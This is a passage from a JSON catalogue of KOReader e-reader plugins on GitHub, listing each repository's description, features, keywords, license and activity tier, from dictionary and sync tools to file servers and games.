fetch.","categories":["dict"],"features":["Fetches a new German word/phrase/topic daily from Groq API","Caches content locally to minimize API calls","Full-screen display using TextViewer","Easy API key configuration through the menu","Manual refresh option","Get a free Groq API key from console.groq.com","Open KOReader","Go to Plugins → German Daily → Set API Key","Enter your API key and save","Go to Plugins → German Daily → Show Today's Word"],"keywords":["basic","improving","german","vocabulary","daily","setup","requirements","groq","word","content","phrase","caches","calls","console","fetches","free","refresh","topic","api","locally","minimize","full-screen","display","textviewer"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-01T19:27:55Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":1137,"detail":"detail/narendraj9__german_daily.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"nicotapiero/underlinesentences.koplugin","owner":"nicotapiero","repo":"underlinesentences.koplugin","url":"https://github.com/nicotapiero/underlinesentences.koplugin","description":"","purpose":"","categories":["misc"],"features":["[ ] When you highlight something, the sentence highlights go on top of it, making a weird pattern of dark/light highlights…","[ ] Probably update _meta.lua","[ ] Probably delete all the testing stuff / version numbers / etc","[ ] decide if I wanna keep the stored value in g_reader_settings","[ ] quotes aren't being boxed correctly - \"I am.\" becomes \"[I am.\" ]"],"keywords":["underlinesentences","dark","highlights","probably","highlight","something","sentence","top","making","weird","pattern","light","update","meta","lua","delete","all","testing","stuff","numbers","etc","decide","wanna","keep"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-17T01:05:08Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":450,"detail":"detail/nicotapiero__underlinesentences.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"noame19/copyparty.koplugin","owner":"noame19","repo":"copyparty.koplugin","url":"https://github.com/noame19/copyparty.koplugin","description":"Turn your KOReader device into a file server (HTTP + WebDAV + FTP) using bundled copyparty Python script.","purpose":"把 Kindle / Kobo / 安卓等 KOReader 支持的设备变成一台轻量文件服务器。底层是 copyparty （46k+ ⭐ 的纯 Python 文件服务器），通过 KOReader 插件外壳拉起，无须额外装 Python 包。","categories":["sync","web","files"],"features":["✅ 功能多得多：HTTP + WebDAV + FTP 三协议同时跑，比 filebrowser 的纯 HTTP 实用","✅ 支持打包下载：浏览器一键把整个文件夹打成 zip 下到电脑（filebrowser 不支持）","⚠️ 更耗电：Python 运行时 + 多协议监听，空载 CPU 比 filebrowser 高 30–50%","⚠️ 需要装 Python 3：Kindle 用户得自己装（见下文前置条件）","✅ 越狱后的 Kindle / Kobo / PocketBook / Android 设备","✅ KOReader 通过 koreader/koreader 安装","⚠️ 商店版 KOReader 也行，但需要设备已经解锁 / 有写权限到 /mnt/us","KUAL 用户：到 MobileRead 论坛 找适配你 Kindle 型号的 Python3 for Kindle 包（注意 ARMv7 vs ARM64）","KOReader 用户：到 kindlemodshelf 的 Python 分类下找社区打包版","自己编译：交叉编译 CPython 到 ARM，目标设备架构要查清楚（Kindle 大多 ARMv7，新 Paperwhite 11 / Scribe 是 ARM64）"],"keywords":["turn","device","file","server","http","webdav","ftp","bundled","copyparty","python","script","python3","kindle","issue","copyparty-sfx","assets","filebrowser","kobo","wifi","46k+","arm64","armv7","epub","filebrowserplus"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T01:43:13Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":8962,"detail":"detail/noame19__copyparty.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"noame19/webdav.koplugin","owner":"noame19","repo":"webdav.koplugin","url":"https://github.com/noame19/webdav.koplugin","description":"KOReader 插件: 在设备上启动 WebDAV 服务器, 让电脑/手机通过网络访问设备文件 (免 USB/拔卡)。基于 hacdias/webdav。","purpose":"在 KOReader 上启动 WebDAV 服务器，让电脑、手机、其他阅读器通过网络直接访问/管理设备里的文件，免 USB、免拔卡。 不支持：HTTPS / TLS、客户端连接数显示、客户端 IP 列表、文件级权限白名单。","categories":["sync"],"features":["无线传书：电脑/手机选好书 → 直接拖进 Kindle 的 documents","批量管理：电脑上像操作 U 盘那样重命名/移动/删除文件","跨设备共享：像 NAS 一样把 Kindle 的某个文件夹分享给局域网里所有设备","在 KOReader 上启动/停止 WebDAV 服务（一键 toggle + 长按直接启停）","支持完整的 WebDAV 协议操作：浏览、下载、上传、删除、重命名、新建文件夹（操作范围取决于\"只读/读写\"设置）","端口可配置（默认 3568，范围 1-65535）","用户名密码认证（默认 admin / webdav12345，首次使用请修改默认密码）","只读 / 读写模式一键切换（默认读写）","共享根目录可配置（默认 /mnt/us，用 KOReader 内置文件夹选择器浏览点选）","多客户端同时访问（基于 hacdias/webdav，单进程并发）"],"keywords":["webdav","usb","hacdias","faq","toggle","kindle","http","main","wifi","settings","crash","iptables","string","utf-8","admin","armv7","bool","luajit","meta","paperwhite","tmpfs","webdav12345","windows","2017-present"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T04:13:18Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12494,"detail":"detail/noame19__webdav.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/inlinehints.koplugin","owner":"omer-faruq","repo":"inlinehints.koplugin","url":"https://github.com/omer-faruq/inlinehints.koplugin","description":"A KOReader Plugin to show a short meaning above difficult words as you read, taken from a dictionary you already have installed. Similar to Kindle's Word Wise.","purpose":"Shows a short meaning above difficult English words as you read, in whatever language your dictionaries are in. Similar to Kindle's Word Wise.","categories":["dict"],"features":["Which words get a hint — six steps, from *only the rarest words* to *as","How long a hint may be — one to three meanings","Dictionaries to take meanings from — tried in the order KOReader lists"],"keywords":["koreader-plugin","show","short","meaning","above","difficult","words","read","taken","dictionary","already","have","installed","similar","kindle","word","wise","inline","hints","does","doesn","building","language","pack"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T19:32:42Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4010,"detail":"detail/omer-faruq__inlinehints.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/send2tasks.koplugin","owner":"omer-faruq","repo":"send2tasks.koplugin","url":"https://github.com/omer-faruq/send2tasks.koplugin","description":"Send quick notes and highlights from KOReader to Google Tasks.","purpose":"Send quick notes and highlights from KOReader straight to Google Tasks, using Google's official REST API. Google Keep has no public API. The only way to reach it from a third-party app is to reverse-engineer the internal protocol (as `gkeepapi` does in Python), which is fragile and can break any time Google changes…","categories":["files","notes"],"features":["Send a note from the Tools menu or directly from the highlight","Optional due date chooser (today / tomorrow / in 3 days / in 1 week)","Automatic retry when the device comes online if you fire a task","Multiple Google accounts (e.g. personal + work) — switch the active","Multiple task lists per account — pick the default one from the","Automatic access-token refresh: you sign in once on your PC, paste","One-tap connection test and cache clear from the settings menu","Open and create (or select) a","Enable the Google Tasks API","*APIs & Services → Library*"],"keywords":["koreader-plugin","send","quick","notes","highlights","google","tasks","instead","keep","sign","e-reader","files","prefix","rule","create","oauth","credentials","cloud","refresh","token","via","playground","drop","test"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-28T08:12:43Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10672,"detail":"detail/omer-faruq__send2tasks.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"oraliahdz/closebookonsuspend.koplugin","owner":"oraliahdz","repo":"closebookonsuspend.koplugin","url":"https://github.com/oraliahdz/closebookonsuspend.koplugin","description":"Koreader plugin that closes your current book on Suspend","purpose":"A KOReader plugin that allows you to close your current book when the device goes to suspend or sleep (screensaver). This will enable you to preserve your reading statistics when reopening the app.","categories":["misc"],"features":["When enabled, closes current book and goes to Home","Can be disable and will go back to default behavior","Has Actions that can be used on Profile","For Kobo devices, this is usually .adds/koreader/plugins in the device storage","Open KOReader","From the file browser menu check Close book on suspend","Kindle Paperwhite (7th gen)","Kindle Paperwhite (10th gen)"],"keywords":["koreader","koreader-plugin","closes","current","book","suspend","close","instalation","tested","device","folder","goes","kindle","paperwhite","enabled","home","disable","back","default","behavior","has","actions","profile","kobo"],"topics":["koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-14T18:49:04Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1115,"detail":"detail/oraliahdz__closebookonsuspend.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Owaranai/Shuangpin.koplugin","owner":"Owaranai","repo":"Shuangpin.koplugin","url":"https://github.com/Owaranai/Shuangpin.koplugin","description":"Koreader用小鹤双拼","purpose":"A KOReader plugin that adds a 小鹤双拼 (Flypy double-pinyin) input keyboard, without touching the input engine or the key layout — see 原理 below.","categories":["misc"],"features":["键盘面完全不变——还是标准 26 键 QWERTY,不显性展示韵母。你脑子里记着小鹤","只做小鹤双拼(音码),不做小鹤音形(形码)——形码要拆字辅助码+独立码表,是","和全拼共存,可以随时切换,互不影响。","先装好 KOReader。","把这个仓库整个拷贝(或者只拷贝下面「运行时依赖」列出的 6 个文件)进 KOReader","重启 KOReader。","Settings → Keyboard → Keyboard layout 里应该会出现「小鹤双拼」,勾选启用。","打开任意输入框,切换到该键盘,打 vh 试试有没有候选「张」。","只做小鹤双拼(音码),不做小鹤音形(形码)。","首次打开小鹤键盘有一次性重编码耗时(见上文安装说明)。"],"keywords":["shuangpin","flypy","keyboard","pinyin","input","layout","nihc","reference","rekey","rime","tools","qwerty","settings"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T19:26:07Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4725,"detail":"detail/Owaranai__Shuangpin.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"owofeima/MonochromeReigns.koplugin","owner":"owofeima","repo":"MonochromeReigns.koplugin","url":"https://github.com/owofeima/MonochromeReigns.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-01T16:40:13Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"pabsan-0/wireguard.koplugin","owner":"pabsan-0","repo":"wireguard.koplugin","url":"https://github.com/pabsan-0/wireguard.koplugin","description":"","purpose":"Dead simple KOReader plugin to connect to `wireguard` VPNs via `wireproxy`, overcoming Kindles inability to create network interfaces and thus simply using `wg-quick`.","categories":["misc"],"features":["Cross-compile wireproxy for your architecture and dump it in the same directory","Connect to your VPN (same as Wireguard's wg.conf)","Define your desired network architecture (see Wireproxy Configurations for more)","Proxy Status — tap to start/stop the proxy. The menu stays open and the line reflects the new state","Test Connection — parses wp.conf and TCP-connects to every BindAddress (TCP tunnels, SOCKS5 and HTTP proxies), reporting each…","https://github.com/windtf/wireproxy","https://github.com/jonaolden/tailscale_kual"],"keywords":["wireguard","setup","wireproxy","configurations","vpn","proxy","tcp","tunnelling","acknowledgements","conf","only","connect","http","menu","network","proxies","architecture","bindaddress","config","directory","entry","github","https","need"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T15:45:20Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":2681,"detail":"detail/pabsan-0__wireguard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ParzivalSan/KOReader-pagecalc-auto","owner":"ParzivalSan","repo":"KOReader-pagecalc-auto","url":"https://github.com/ParzivalSan/KOReader-pagecalc-auto","description":"Automatically adjusts KOReader’s Stable Page Numbers to match the physical page count specified in the filename using the p(XXX) format. ","purpose":"Automatically configure KOReader's Stable Page Numbers based on the physical page count included in the book filename.","categories":["library"],"features":["Automatically detects physical page counts from the filename","Uses the p(XXX) format","Automatically calculates the required Characters per page value","Uses KOReader's Stable Page Numbers / synthetic page map","Performs additional refinement passes to get as close as possible to the target page count","Saves the calculated value in the book's KOReader document settings","Can also be triggered manually from the KOReader menu","Works particularly well with Calibre + Bookshelf workflows","font size","margins"],"keywords":["koreader","koreader-plugin","koreader-plugins","automatically","adjusts","stable","page","numbers","match","physical","count","specified","filename","xxx","format","calculator","auto","example","recommended","workflow","calibre","bookshelf","configuration","works"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T11:03:11Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":7742,"detail":"detail/ParzivalSan__KOReader-pagecalc-auto.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"PotatoInfinity/kolichess.koplugin","owner":"PotatoInfinity","repo":"kolichess.koplugin","url":"https://github.com/PotatoInfinity/kolichess.koplugin","description":"","purpose":"Solve lichess.org puzzles directly from KOReader. higher puzzle-fetch rate limits (anonymous fetching works without a token).","categories":["games"],"features":["Random puzzles fetched from the lichess batch API","Play the correct move for your side; the opponent's reply is played for you","Wrong moves reset the puzzle to the start","Show Answer / New Puzzle / Restart buttons","Auto-advances to the next puzzle after a solve (can be interrupted)","KOReader with networking enabled","Optional: a lichess account and personal access token in token.txt for","Optional - create a token (only needed if you want rate-limit benefits)","Fastest: open this pre-filled link in a browser (the puzzles scope is","Or manually at https://lichess.org/account/oauth/token/create with the"],"keywords":["lichess","puzzles","requirements","setup","play","troubleshooting","token","puzzle","create","account","chess","https","move","optional","read","scope","access","after","answer","copy","correct","folder","menu","next"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T11:14:28Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2156,"detail":"detail/PotatoInfinity__kolichess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"PriyanshuPansari/booksyncer.koplugin","owner":"PriyanshuPansari","repo":"booksyncer.koplugin","url":"https://github.com/PriyanshuPansari/booksyncer.koplugin","description":"","purpose":"Upload sideloaded books from the Kobo to your Calibre library in one tap. The folder should contain: `_meta.lua`, `main.lua`, `sync.sh`","categories":["files"],"features":["Scans only the root of /mnt/onboard (no subdirectories) for ebook files (epub, pdf, mobi, cbz, cbr, fb2, djvu, azw, azw3)","Wallabag articles and KOReader files live under /mnt/onboard/.adds/ and are never touched","Uploads each new file to https://kobo.llmplays.com/upload","The server checks the Calibre library and adds the book if it's not there yet","Tracks uploaded files locally so the same file is never sent twice","Connect the Kobo to your computer via USB","Make sync.sh executable (optional — sh sync.sh works regardless)","Safely eject the Kobo","Tap the menu (top-left gear / ☰ icon)","Go to Tools → Sync Books to Server → Upload new books now"],"keywords":["booksyncer","does","kobo","files","device","server-side","check","sync","books","adds","file","onboard","upload","last","server","calibre","folder","library","never","tools","uploaded","view","scans","only"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-16T11:12:05Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1782,"detail":"detail/PriyanshuPansari__booksyncer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rachelmgaldino/anilistsync.koplugin","owner":"rachelmgaldino","repo":"anilistsync.koplugin","url":"https://github.com/rachelmgaldino/anilistsync.koplugin","description":"Auto-syncs manga chapter progress from Rakuyomi to AniList as you read — QR-based OAuth, GraphQL API, and non-blocking HTTP so a slow request never freezes the reader.","purpose":"A KOReader plugin that automatically syncs manga chapter reading progress from Rakuyomi to AniList as you read — no separate \"sync\" step, no schedule, just whenever a chapter gets marked read.","categories":["web","reading","content"],"features":["Open AniList Sync → Connect to AniList","Scan QR to authorize — pulls up a full-screen QR code for AniList's OAuth authorize URL. Scan it with your phone, log in, and…","AniList shows you a token on the resulting page (its own PIN page — no server of ours is involved). Get it back onto the Kindle…","Paste it directly into the input field, or","Edit anilist_token.txt, which ships right inside this plugin's own folder…","Tap Save. You should see a confirmation showing your AniList username","Long-press it in Rakuyomi's library (or use the ⋮ menu on its chapter list) → Link to AniList","Type the title and tap Search, then pick the correct match from the results list (title, format, status, chapter count). Picking…","Backend.markChapterAsRead(source_id, manga_id, chapter_id, value) — fires when a chapter is genuinely finished (not on an…"],"keywords":["anilist","ereader","graphql","koreader","lua","manga","oauth","plugin","auto-syncs","chapter","progress","rakuyomi","read","qr-based","api","non-blocking","http","slow","request","never","freezes","anilistsync","setup","works"],"topics":["anilist","ereader","graphql","koreader","lua","manga","oauth","plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T04:08:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6500,"detail":"detail/rachelmgaldino__anilistsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rachelmgaldino/iconbrowser.koplugin","owner":"rachelmgaldino","repo":"iconbrowser.koplugin","url":"https://github.com/rachelmgaldino/iconbrowser.koplugin","description":"KOReader plugin for looking up Nerd Font icon names — paginated, searchable catalogue with favorites. Ported out of bookshelf's internal picker into a standalone plugin.","purpose":"A KOReader plugin for browsing KOReader's Nerd Font icon set (plus any custom icons dropped into your `icons/` folder) to find an icon's name.","categories":["ui","library"],"features":["Browse the full icon catalogue, paginated, with a live search/filter","Tap an icon to see its exact name in a tooltip","Favorites: long-press an icon to star it. Favorited icons get a star badge and are reachable from their own dedicated chip, so…"],"keywords":["ereader","koreader","nerd-fonts","plugin","looking","nerd","font","icon","names","paginated","searchable","catalogue","favorites","ported","out","bookshelf","internal","picker","standalone","iconbrowser","structure","icons","name","star"],"topics":["ereader","koreader","nerd-fonts","plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T04:11:43Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2060,"detail":"detail/rachelmgaldino__iconbrowser.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ramonhpr/todoist.koplugin","owner":"ramonhpr","repo":"todoist.koplugin","url":"https://github.com/ramonhpr/todoist.koplugin","description":"","purpose":"A KOReader plugin that surfaces your Todoist tasks on your Kindle (and other e-ink readers), with optional due-time notifications while you read.","categories":["misc"],"features":["spec/quality-gates.md — the gate criteria every change must pass","architecture/overview.md — how the plugin is structured","The relevant spec in spec/features/","ADR-001 — REST API v1 + personal token auth","ADR-002 — UIManager scheduler for notifications","ADR-003 — disk cache with 15-min TTL","ADR-004 — optimistic update for write operations","Open Tools → KO-Tasks for Todoist and enter your Todoist API token","Primary target: Kindle (via KOReader)","Also supported: Kobo, PocketBook"],"keywords":["ko-tasks","todoist","development","process","architecture","platform","disclaimer","done","spec","doist","notifications","task","tasks","affiliated","created","due-time","kindle","overview","project","read","rest","today","token","unofficial"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T03:13:27Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2869,"detail":"detail/ramonhpr__todoist.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rayanestefani8-collab/autonightmode.koplugin","owner":"rayanestefani8-collab","repo":"autonightmode.koplugin","url":"https://github.com/rayanestefani8-collab/autonightmode.koplugin","description":"Plugin for [KOReader](https://github.com/koreader/koreader) that automatically enables and disables night mode at configurable times, with support for light temperature and brightness control.","purpose":"Plugin for KOReader that automatically enables and disables night mode at configurable times, with support for light temperature and brightness control.","categories":["misc"],"features":["Automatic scheduling do modo noturno por horário","Support for schedules that cross midnight (ex: 22:00","Light temperature control (warmth) separado para","Brightness control separado para noite e dia ---","Does not interfere em outras configurações do","Compatible with any launcher: SimpleUI, ZenUI,","Compatible with any device: detecta com segurança se","Menu available at Configurações → Tela → Auto Night Mode","Settings saved in a dedicated file (autonightmode.lua), separado","Go to ⚙️ → Tela → Auto Night Mode para configurar"],"keywords":["https","github","com","automatically","enables","disables","night","mode","configurable","times","light","temperature","brightness","control","autonightmode","configuration","compatibility","structure","credits","para","noturno","auto","modo","configura"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-29T13:47:44Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4492,"detail":"detail/rayanestefani8-collab__autonightmode.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rayanestefani8-collab/bibliogram.koplugin","owner":"rayanestefani8-collab","repo":"bibliogram.koplugin","url":"https://github.com/rayanestefani8-collab/bibliogram.koplugin","description":"KOReader plugin that manages a private OPDS server powered by a Telegram channel.","purpose":"KOReader plugin that manages a private OPDS server powered by a Telegram channel. BiblioGram is a complete solution for:","categories":["ui","library","files","notes"],"features":["Maintaining a private book library in a Telegram channel","Serving as an OPDS catalog for KOReader automatically","Managing metadata (titles, authors, covers, tags, genres)","Synchronizing new books and updates on a schedule","telegram-opds (Python, notebook) — Collects books from Telegram and serves the OPDS catalog","BiblioGram (Lua plugin, Kobo) — KOReader interface to configure everything","Python 3.8+","Libraries: telethon, flask, python-dotenv, requests","Internet connection","A Telegram account with API access"],"keywords":["manages","private","opds","server","powered","telegram","channel","bibliogram","integration","requirements","notebook","kobo","kindle","configure","collect","books","start","available","settings","post","format","example","credentials","configuration"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-17T14:21:01Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6687,"detail":"detail/rayanestefani8-collab__bibliogram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"reubensinha/jnc-reader.koplugin","owner":"reubensinha","repo":"jnc-reader.koplugin","url":"https://github.com/reubensinha/jnc-reader.koplugin","description":"Read your J-Novel Club subscription in KOReader — new pre-pub releases, followed series, and your owned library.","purpose":"","categories":["library","device","content"],"features":[],"keywords":["ebook-reader","ereader","kindle","kobo","koreader","koreader-plugin","light-novels","lua","plugin","reading","j-novel-club","jnovelclub","read","j-novel","club","subscription","pre-pub","followed","series","owned","library"],"topics":["ebook-reader","ereader","kindle","kobo","koreader","koreader-plugin","light-novels","lua","plugin","reading","j-novel-club","jnovelclub"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T21:33:50Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"rfcddemo/koreader-patches","owner":"rfcddemo","repo":"koreader-patches","url":"https://github.com/rfcddemo/koreader-patches","description":"Enhance KOReader's file browser with custom patches that improve layout, show more info, and provide quick access to key features.","purpose":"koreader-patches offers user patches for KOReader, a popular reading app for e-readers and tablets. These patches aim to improve KOReader’s features, fix bugs, or add useful tweaks. You can use them to customize the KOReader experience without technical knowledge.","categories":["ui","web","device","files"],"features":["How to access the download page","How to save files to your PC","A basic overview of applying patches to KOReader","Click the button above or open","Look for the latest release at the top of the page. Releases are sorted by date and version number","Under the “Assets” section of the latest release, find the patch files. The files will usually end with .zip or .patch","Click the file you want. Your browser should start downloading it to your computer","Save the file to a known location, like your Desktop or Downloads folder","Operating System: Windows 7 or newer","Storage: At least 100 MB free space for patch files"],"keywords":["customisation","ereader","koreader","koreader-icons","koreader-kindle","koreader-plugin","koreader-user-patch","lua","patch","sleep-screen","user-patch","enhance","file","browser","custom","improve","layout","show","more","info","provide","quick","access","key"],"topics":["customisation","ereader","koreader","koreader-icons","koreader-kindle","koreader-plugin","koreader-user-patch","lua","patch","sleep-screen","user-patch"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T05:51:56Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":5083,"detail":"detail/rfcddemo__koreader-patches.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"right9code/obsidian-sync.koplugin","owner":"right9code","repo":"obsidian-sync.koplugin","url":"https://github.com/right9code/obsidian-sync.koplugin","description":"A premium, full-featured bidirectional synchronization plugin for KOReader to sync your Obsidian vaults with a WebDAV cloud storage server (such as Koofr, Nextcloud, ownCloud, etc.).","purpose":"A premium, full-featured bidirectional synchronization plugin for KOReader to sync your Obsidian vaults with a WebDAV cloud storage server (such as Koofr, Nextcloud, ownCloud, etc.).","categories":["sync","files"],"features":["📂 Multi-Vault Support: Manage and configure multiple independent vaults. Each vault maintains its own local path, remote WebDAV…","🧹 Automatic SDR Exclusion: Intentionally filters and ignores all KOReader .sdr sidecar files/directories during sync cycles,…","⚡ Gesture Support: Automatically registers global gesture actions for each configured vault so you can trigger a sync with a…","🔄 Automated & Interactive Conflict Strategy","Interactive (Prompt): Ask what to do for each conflict","Prefer Local: Local version overwrites remote","Prefer Remote: Remote version overwrites local","Keep Both: Renames the local file with a conflict timestamp and downloads the remote copy","🔋 Battery Safety Gate: Skip automatic triggers if battery capacity falls below a configurable percentage (e.g., 15%) to preserve…"],"keywords":["koreader","koreader-plugin","koreader-plugins","obsidian","premium","full-featured","bidirectional","synchronization","sync","vaults","webdav","cloud","storage","server","such","koofr","nextcloud","owncloud","etc","configuration","local","vault","gesture","remote"],"topics":["koreader","koreader-plugin","koreader-plugins","obsidian"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-25T21:08:49Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":3229,"detail":"detail/right9code__obsidian-sync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rixx/koreader-scriptorium","owner":"rixx","repo":"koreader-scriptorium","url":"https://github.com/rixx/koreader-scriptorium","description":"","purpose":"A KOReader plugin that pushes finished books — metadata, finished date, aggregate reading time, and all highlights — to scriptorium, where they land in the review queue. Highlights become the raw material for published quotes and plot summaries.","categories":["misc"],"features":["Mark a book as finished in KOReader; the plugin picks it up on the next","Books unknown to scriptorium are auto-created in the to-review queue","Pushes are idempotent: edit your highlights after finishing and the next","KOReader ≥ v2024.07 (the annotations sidecar format)","A scriptorium instance with the /api/koreader/sync/ endpoint and an API key","just fmt — format the Lua sources (stylua, config in stylua.toml)","just check — CI checks: stylua --check plus luacheck (config in","just test — stub-based smoke tests (plain luajit), see tests/README.md"],"keywords":["koreader-plugin","koreader-scriptorium","works","requirements","development","scriptorium","just","check","finished","highlights","pushes","server","stylua","books","config","copy","endpoint","format","next","push","queue","test","tests","tools"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-03T14:58:55Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1643,"detail":"detail/rixx__koreader-scriptorium.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"RussellR725/fantasydict.koplugin","owner":"RussellR725","repo":"fantasydict.koplugin","url":"https://github.com/RussellR725/fantasydict.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-10T19:37:44Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"sam-don/kogrim.koplugin","owner":"sam-don","repo":"kogrim.koplugin","url":"https://github.com/sam-don/kogrim.koplugin","description":"","purpose":"A KOReader plugin for Grimmory — browse your self-hosted library and download books straight to the device. Grimmory ships a purpose-built app API that returns read status, reading progress, personal ratings and series information alongside each book. kogrim uses that API rather than the server's OPDS feed, so lists…","categories":["ui","dict","reading","notes"],"features":["Open a mapped File (from Home, FileManager, or history): if the server Read progress is","Close: local position is pushed as catalogue Read progress; a Reading session is posted","Offline: work is queued (latest progress per book; sessions append) and flushed when you","Setting (default on): Search ▸ Grimmory ▸ Settings ▸ Exchange Read progress with Grimmory","update_forgejo_url / update_github_url — full repo HTML URL for a fork","update_branch — branch name when channel is main (default main)","Redirects never carry your token off-origin. kogrim follows redirects itself rather than","Server-supplied filenames cannot escape the download folder. Separators are replaced and","Book ids are validated as integers before being concatenated into a request path","Cover URLs are built, not taken from the server. The thumbnailUrl field in Grimmory's"],"keywords":["kogrim","status","read","progress","exchange","settings","in-plugin","update","cutting","security","notes","does","verify","tls","certificates","credentials","stored","plain","text","defend","against","development","layout","adding"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T11:21:04Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":14027,"detail":"detail/sam-don__kogrim.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"saya6k/kobosync.koplugin","owner":"saya6k","repo":"kobosync.koplugin","url":"https://github.com/saya6k/kobosync.koplugin","description":"KOReader plugin: Kobo Sync client for self-hosted servers (calibre-web, Calibre-Web Automated/NextGen, and friends)","purpose":"A KOReader plugin that acts as a Kobo Sync client for self-hosted book servers — sync your library and reading progress with calibre-web, Calibre-Web Automated, Calibre-Web NextGen and other servers implementing the Kobo Sync protocol.","categories":["sync","web","library","device","notes"],"features":["Library sync — new, changed and removed books are mirrored from the server","*Keep every book on this device*: every book the catalog lists is downloaded, and new ones follow as they arrive — on a first…","*On demand* (for large libraries): sync only updates the catalog; browse the server library on-device — grouped by series,…","Unattended syncs — optionally refresh the catalog every 15, 30 or 60 minutes; runs only while Wi-Fi is already on, never starts…","Two-way reading progress sync — progress and finished/reading status, with newest-wins conflict resolution; queued offline and…","Jump to server progress — when a book is opened and the server knows a newer position, KOReader offers to jump there","Safe deletions — books removed on the server are only deleted locally after 